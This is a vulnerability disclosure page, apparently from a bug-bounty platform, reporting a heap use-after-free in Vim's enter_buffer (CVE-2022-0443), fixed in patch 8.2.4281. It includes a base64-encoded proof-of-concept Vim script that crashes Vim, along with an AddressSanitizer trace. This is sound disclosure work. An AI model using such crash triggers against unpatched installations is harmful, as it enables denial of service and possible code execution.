Use After Free in vim/vim

0

✓ Valid Reported on Jan 31st 2022

Description

Use After Free in enter_buffer function.
commit : 5703310e640c4b142a16a3ea4f45317565ae8c32

Proof of Concept

```
$ echo -ne "ZnUgUigpCiAgdGFiIGxvcAogIGxldCBsOj1nCiAgZQEKbGYKZW5kZgoKY2FsIGF
KQpjYWwgYXNhbCgiIixSKCkpCmNhbCBhc2FsKCIiLFIoKSkKYnchCg==" | base64 -d > poc

# ASAN
$ ./src/vim -e -s -S poc -c ":qa!"
==3961346==ERROR: AddressSanitizer: heap-use-after-free on address 0x62500
READ of size 4 at 0x62500000c978 thread T0
    #0 0x4e86ff in enter_buffer /home/alkyne/fuzzing/vim-asan/src/buffer.c:
    #1 0x4f2afc in set_curbuf /home/alkyne/fuzzing/vim-asan/src/buffer.c:17
    #2 0x4eeca9 in do_buffer_ext /home/alkyne/fuzzing/vim-asan/src/buffer.c
    #3 0x4f0864 in do_buffer /home/alkyne/fuzzing/vim-asan/src/buffer.c:157
    #4 0x4f0864 in do_bufdel /home/alkyne/fuzzing/vim-asan/src/buffer.c:166
    #5 0x6a3fce in ex_bunload /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c:
    #6 0x67f3d5 in do_one_cmd /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c:
    #7 0x67f3d5 in do_cmdline /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c:
    #8 0xa71e9d in do_source /home/alkyne/fuzzing/vim-asan/src/scriptfile.c
    #9 0xa7052d in cmd_source /home/alkyne/fuzzing/vim-asan/src/scriptfile.
    #10 0xa7052d in ex_source /home/alkyne/fuzzing/vim-asan/src/scriptfile.
    #11 0x67f3d5 in do_one_cmd /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c
    #12 0x67f3d5 in do_cmdline /home/alkyne/fuzzing/vim-asan/src/ex_docmd.c
    #13 0xd98977 in exe_commands /home/alkyne/fuzzing/vim-asan/src/main.c:
    #14 0xd98977 in vim_main2 /home/alkyne/fuzzing/vim-asan/
    #15 0xd95f99 in main /home/alkyne/fuzzing/vim-asan/src/
    #16 0x7fda0d3750b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #17 0x41eacd in _start (/home/alkyne/fuzzing/vim-asan/src/vim+0x41eacd)

0x62500000c978 is located 120 bytes inside of 9296-byte region [0x62500000c

freed by thread T0 here:
    #0 0x496f8d in free (/home/alkyne/fuzzing/vim-asan/src/vim+0x496f8d)
    #1 0x4ea489 in free_buffer /home/alkyne/fuzzing/vim-asan/src/buffer.c:9

previously allocated by thread T0 here:
    #0 0x49720d in malloc (/home/alkyne/fuzzing/vim-asan/src/vim+0x49720d)
    #1 0x4c6d47 in lalloc /home/alkyne/fuzzing/vim-asan/src/alloc.c:248:11
    #2 0x663ffd in do_ecmd /home/alkyne/fuzzing/vim-asan/src/ex_cmds.c:2686
    #3 0x94f6a6 in qf_open_new_cwindow /home/alkyne/fuzzing/vim-asan/src/qu
    #4 0x94f6a6 in ex_copen /home/alkyne/fuzzing/vim-asan/src/quickfix.c:42

SUMMARY: AddressSanitizer: heap-use-after-free /home/alkyne/fuzzing/vim-asa
Shadow bytes around the buggy address:
  0x0c4a7fff98d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff98e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff98f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff9900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff9910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c4a7fff9920: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]
  0x0c4a7fff9930: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff9940: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff9950: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff9960: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff9970: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb

  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3961346==ABORTING
```

Impact

Use After Free may lead to exploiting the program, which can allow the attacker to execute arbitrary code.

CVE
CVE-2022-0443
(Published)

Vulnerability Type
CWE-416: Use After Free

Severity
High (8.4)

Visibility
Public

Status
Fixed

Found by

alkyne Choi
@alkyne
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

Chat with us

This report was seen 843 times.

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

alkyne Choi 10 months ago Researcher

@maintainer
I made the poc much shorter.

alkyne Choi modified the report 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 10 months ago

Bram Moolenaar 10 months ago Maintainer

I can reproduce it.

Bram Moolenaar validated this vulnerability 10 months ago

alkyne Choi has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Bram Moolenaar 10 months ago Maintainer

Fixed with patch 8.2.4281

Bram Moolenaar marked this as fixed in **8.2** with commit **9b4a80** 10 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Chat with us

Sign in to join this conversation